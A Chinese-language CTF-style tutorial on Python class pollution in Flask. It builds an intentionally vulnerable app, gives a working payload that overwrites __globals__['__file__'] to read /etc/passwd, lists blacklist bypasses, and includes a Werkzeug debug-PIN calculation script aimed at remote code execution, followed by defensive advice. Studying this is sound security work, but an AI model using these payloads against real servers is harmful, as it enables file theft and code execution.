从CTF靶场到实战:手把手教你复现Flask原型链污染漏洞(附Python 3.10环境配置)
从CTF靶场到实战:手把手教你复现Flask原型链污染漏洞(附Python 3.10环境配置)
在网络安全领域,CTF比赛中的漏洞复现往往能为我们提供宝贵的学习机会。本文将带你从零开始,在Python 3.10环境下搭建一个存在原型链污染漏洞的Flask应用,并通过实战演示如何利用这一漏洞实现任意文件读取。
1. 环境准备与漏洞原理
1.1 Python 3.10环境配置
首先我们需要配置一个干净的Python 3.10开发环境:
# 使用pyenv管理Python版本 pyenv install 3.10.6 pyenv virtualenv 3.10.6 flask-poc pyenv activate flask-poc # 安装必要依赖 pip install flask==2.2.21.2 原型链污染原理剖析
原型链污染(Pollution)是一种在动态语言中常见的漏洞类型,它允许攻击者修改对象的原型属性,从而影响所有基于该原型的对象实例。在Python中,这一漏洞通常通过以下方式实现:
- 魔术方法滥用:如
__class__、__globals__等 - 不安全的对象合并:深度合并用户可控数据到对象
- 属性覆盖:通过特殊属性名覆盖关键系统变量
提示:与JavaScript不同,Python中没有真正的原型链概念,但通过魔术方法和全局命名空间可以实现类似效果。
2. 漏洞应用搭建
2.1 创建有漏洞的Flask应用
下面是一个存在原型链污染漏洞的简化版Flask应用:
from flask import Flask, request import json app = Flask(__name__) def merge(src, dst): """不安全的对象合并函数""" for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and isinstance(v, dict): merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and isinstance(v, dict): merge(v, getattr(dst, k)) else: setattr(dst, k, v) @app.route('/register', methods=['POST']) def register(): data = json.loads(request.data) user = type('User', (), {})() # 创建空类实例 merge(data, user) # 危险操作! return "Registration complete" @app.route('/') def index(): return open(__file__).read() if __name__ == '__main__': app.run(debug=True)2.2 漏洞点分析
上述代码中存在两个关键问题:
不安全的merge函数:
- 递归合并用户提供的字典
- 未对特殊属性名进行过滤
- 允许修改对象的
__class__等魔术方法
敏感全局变量暴露:
- 通过
__file__直接读取文件内容 - 未对文件路径进行限制
- 通过
3. 漏洞利用实战
3.1 基础利用:修改__file__变量
我们可以构造特殊payload来修改Flask应用的__file__全局变量:
import requests payload = { "__class__": { "__init__": { "__globals__": { "__file__": "/etc/passwd" } } } } response = requests.post( 'http://localhost:5000/register', json=payload )执行后访问首页,将显示/etc/passwd文件内容而非应用源码。
3.2 绕过黑名单技巧
实际应用中通常会设置黑名单过滤特殊属性名。以下是几种绕过方法:
| 绕过技术 | 示例 | 适用场景 |
|---|---|---|
| Unicode编码 | \u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F | 简单字符串匹配 |
| 属性链替代 | __class__.__base__.__subclasses__() | 深度属性访问 |
| 方法覆盖 | 用check方法替代__init__ | 存在替代方法时 |
3.3 高级利用:PIN码计算与RCE
在Flask调试模式下,我们可以结合文件读取漏洞获取生成调试PIN码所需的六个要素:
- 读取
/etc/passwd获取用户名 - 读取
/proc/self/cgroup获取机器ID - 通过错误信息获取Flask安装路径
- 读取
/sys/class/net/eth0/address获取MAC地址
# PIN码计算脚本示例 import hashlib from itertools import chain probably_public_bits = [ 'flaskweb', # 用户名 'flask.app', # 模块名 'Flask', # 应用名 '/usr/local/lib/python3.10/site-packages/flask/app.py' # Flask路径 ] private_bits = [ '2485377581187', # MAC地址十进制 '96cec10d3d9307792745ec3b85c89620docker-f631baf753180826471e91bf575eecadcfd9788e873f07b98fe6f7a4a95f42c3.scope' # 机器ID ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue h.update(bit.encode('utf-8')) h.update(b'cookiesalt') print(h.hexdigest()[:20])4. 防御方案与最佳实践
4.1 安全编码建议
- 避免不安全的对象合并:
- 使用浅拷贝而非深拷贝
- 对合并属性进行严格过滤
# 安全的merge函数实现 def safe_merge(src, dst): for k, v in src.items(): if k.startswith('__') and k.endswith('__'): continue # 过滤魔术方法 if hasattr(dst, '__setitem__'): dst[k] = v else: setattr(dst, k, v)- 关键全局变量保护:
- 避免直接暴露
__file__等敏感变量 - 对文件访问进行严格路径校验
- 避免直接暴露
4.2 架构层面防护
- 启用SELinux/AppArmor:限制应用的文件系统访问权限
- 使用容器隔离:将应用运行在最小权限容器中
- 定期依赖更新:及时修复已知漏洞
5. 漏洞拓展与变体
原型链污染漏洞在不同语言和技术栈中有多种表现形式:
JavaScript原型污染:
- 通过
__proto__修改对象原型 - 影响范围更广,可导致XSS、权限提升等
- 通过
Python反序列化漏洞:
- 通过pickle等序列化协议触发
- 结合
__reduce__方法实现RCE
模板注入利用:
- 在Jinja2等模板引擎中利用全局变量
- 结合SSTI实现更复杂的攻击链
在实际漏洞挖掘中,建议重点关注以下高危模式:
- 深度对象合并操作
- 不安全的反序列化接口
- 动态属性访问功能
- 反射机制的不当使用
